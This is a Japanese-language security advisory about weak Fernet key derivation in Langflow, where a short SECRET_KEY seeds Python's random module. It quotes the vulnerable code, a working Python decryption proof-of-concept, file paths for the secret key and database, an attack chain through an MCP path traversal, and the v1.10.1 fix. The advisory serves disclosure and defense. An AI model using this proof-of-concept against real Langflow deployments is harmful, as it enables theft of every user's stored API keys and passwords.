Langflow: `random.seed()` による脆弱な Fernet キー

### 概要

Langflow は、Python の `random` モジュール(Mersenne Twister、暗号化目的には適さない疑似乱数生成器)を使用しており、このモジュールは `SECRET_KEY` をシード値として使用して、保存されているすべてのユーザー認証情報(API キー、LLM プロバイダーのシークレット、データベースのパスワード)の Fernet 暗号化キーを生成します。`SECRET_KEY` が 32 文字未満の場合 — これは、単純で覚えやすいシークレットを使用する自己ホスト環境でよく見られる状況です — 生成される暗号化キーは完全に決定論的であり、シード値を知っている人は誰でも再現できます。攻撃者が `SECRET_KEY` を取得した場合(例えば、このリポジトリの MCP パス トラバーサル経由で)、オフラインで正確な Fernet キーを再構築し、ブルートフォースなしでデータベースに保存されているすべての認証情報を復号化できます。

`SECRET_KEY` が 32 文字以上の場合(「安全」な場合)でも、生のキー素材が直接 Fernet キーとして使用されるため、`secret_key` ファイルを外部に持ち出すだけで、追加の計算なしにすべての認証情報を復号化できます。

**深刻度:** 深刻 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1)
**CWE-338:** 脆弱な疑似乱数生成器 | **CWE-321:** ハードコーディングされた暗号化キー | **CWE-311:** 機密データの暗号化の欠如

### 詳細

**根本原因: `src/backend/base/langflow/services/auth/service.py` の 651 行から 663 行**

```python
MINIMUM_KEY_LENGTH = 32

def _ensure_valid_key(self, raw_key: str) -> bytes:
if len(raw_key) < MINIMUM_KEY_LENGTH:
random.seed(raw_key) # シークレットでシードされた暗号化目的には適さない疑似乱数生成器
key = bytes(random.getrandbits(8) for _ in range(32)) # 完全に決定論的な出力
key = base64.urlsafe_b64encode(key)
else:
key = self._add_padding(raw_key).encode() # 生のシークレットが Fernet キーそのもの
return key

def _get_fernet(self) -> Fernet:
secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
valid_key = self._ensure_valid_key(secret_key)
return Fernet(valid_key)
```

同じロジックが `src/backend/base/langflow/services/auth/utils.py` の 292 行から 318 行に重複して記述されています(`DatabaseVariableService.create_variable` および `update_variable` から呼び出されます)。

**このキーで暗号化されるもの:**
`type = "Credential"` と設定されたすべての変数。これは、OpenAI API キー、Anthropic API キー、および Variables UI または API を介して保存されるすべてのシークレットのデフォルト設定です。

```python
# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value
```

**[MCP パス トラバーサル](https://github.com/langflow-ai/langflow/security/advisories/GHSA-95rw-c7w3-xh7f) と組み合わせた場合、なぜこれが重要なのか:**
`secret_key` ファイルは `/app/data/.cache/langflow/secret_key` に保存されており、MCP パス トラバーサル脆弱性によって読み取られる可能性があります。ファイルが読み取られた場合:
- `len(secret_key) < 32` の場合: `random.seed(secret_key)` を実行 → 同じキーを生成 → すべての認証情報を即座に復号化
- `len(secret_key) >= 32` の場合: キーを直接パディング → すべての認証情報を即座に復号化

ファイルが読み取られた場合、どちらの場合でもブルートフォースは不要です。

### 実証コード

```python
#!/usr/bin/env python3
# 必要なもの: pip install cryptography

import random
import base64
from cryptography.fernet import Fernet

# --- シナリオ A: 短い secret key (< 32 文字) --- 脆弱な PRNG ブランチをトリガー
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
random.seed(secret_key)
key_bytes = bytes(random.getrandbits(8) for _ in range(32))
fernet_key = base64.urlsafe_b64encode(key_bytes)
return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()

# --- シナリオ B: 長い secret key (>= 32 文字) --- キーの漏洩シナリオ
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
padding_needed = 4 - len(secret_key) % 4
padded = secret_key + "=" * padding_needed
return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
```

# /app/data/.cache/langflow/secret_key から取得された値(外部への漏洩)
# および langflow.db 内の SELECT value FROM variable WHERE type='Credential' から取得された値
SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43文字 → 長い文字列
CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M="

plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)
print(f"復号された認証情報: {plaintext}")
# 出力例: sk-test-SENTINEL-VALUE-12345
```

**Langflow v1.7.3 で確認済み:**
- データベースのパス: `/app/.venv/lib/python3.12/site-packages/langflow/langflow.db`
- `variable` テーブル内に `Credential` タイプの変数が2つ存在
- どちらも正常に復号された: `"dummy"` および `"sk-test-SENTINEL-VALUE-12345"`
- 監視値 (`sk-test-SENTINEL-VALUE-12345`) は API を介して保存され、外部に漏洩した `secret_key` のみを使用して、生のデータベースの暗号文から即座に復元された

**エンドツーエンドの攻撃経路 (MCP パス トラバーサルを含む):**
```bash
# ステップ1: MCP パス トラバーサルを介して `secret_key` を外部に漏洩させる (管理者権限不要、認証されたユーザーであれば誰でも可能)
# ステップ2: パス トラバーサルを介してデータベースの認証情報を取得する (SQLite ファイルが読み取り可能)
# ステップ3: オフラインで復号化を行う — ブルートフォースは不要、即時
python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT"
# → 保存されているすべての API キーが明らかになる
```

### 影響

`secret_key` ファイルを攻撃者が読み取ることができる Langflow のすべての環境において、保存されているユーザーの認証情報が危険にさらされる可能性があります。 MCP パス トラバーサルの脆弱性と組み合わせることで、低権限のアカウントのみで完全なリモート認証情報窃取の経路が確立されます。

- ユーザーが保存した**OpenAI、AnthropicなどのLLMプロバイダーのAPIキー**は、復号可能です。
- 認証情報として保存されている**データベース接続文字列とパスワード**が公開されます。
- 変数UIを通じて保存されている**OAuthトークンとWebhookシークレット**が公開されます。
- **インスタンス上のすべてのユーザー**が影響を受けます。認証情報は、共有データベース内にユーザーごとに保存されますが、すべてが同じインスタンス全体の`SECRET_KEY`で暗号化されています。

マルチテナントまたはエンタープライズ版のLangflow環境では、単一のアタッカーアカウントで、インスタンス上のすべてのユーザーが保存したすべての認証情報を盗み出すことができます。攻撃は、2つのファイル読み込み(シークレットキーとデータベース)の後、完全にオフラインで行われ、サーバー側のログは残されません。

### 修正

**v1.10.1**で修正されました(PR [#13704](https://github.com/langflow-ai/langflow/pull/13704)、コミット`094694d3f2`)。

`ensure_fernet_key()`関数(`src/backend/base/langflow/services/auth/utils.py`)は、短い`SECRET_KEY`の値に対して、Pythonの暗号化されていない`random`モジュールを初期化しなくなりました。32バイトのキーは、現在、SHA-256を使用して決定的に生成されます。

```python
def ensure_fernet_key(secret_key: str) -> bytes:
if len(secret_key) < MINIMUM_SECRET_KEY_LENGTH:
digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes
key = base64.urlsafe_b64encode(digest)
else:
key = add_base64_padding(secret_key).encode()
return key
```

`get_fernet_for_decryption()`関数によって、古いPRNG由来のキーで暗号化された暗号文の、下位互換性のある復号が維持されます。この関数は、新しいSHA-256キーを最初に試し、次にレガシーキーを試す`MultiFernet`を返します。レガシーキーは、ローカルの`random.Random(secret_key)`インスタンス(グローバルな`random`モジュールではない)を使用して再生成されるため、古いデータを復号できますが、新しいキーの生成やグローバルなPRNGの状態の変更に使用されることはありません。すべての新しい暗号化は、SHA-256キーのみを使用します。

**影響を受けるバージョン:** <= 1.10.0
**修正されたバージョン:** 1.10.1

**管理者向け注意:** `SECRET_KEY` が32文字未満で動作している環境では、バージョン1.10.1以降にアップグレードすると、異なるFernetキーが生成されます。そのため、以前に保存された認証情報を再入力する必要があります(既存の暗号化データは移行のために引き続き読み取れますが、新しい書き込みは新しいキーを使用します)。デフォルトで生成される `SECRET_KEY` (`secrets.token_urlsafe(32)`、43文字)は、長いキーの方式を使用しており、PRNG(疑似乱数生成器)の問題の影響を受けていません。

影響を受けるパッケージ:
- pip (Python) langflow: 影響を受けるバージョンは1.10.0以前、1.10.1で修正済み。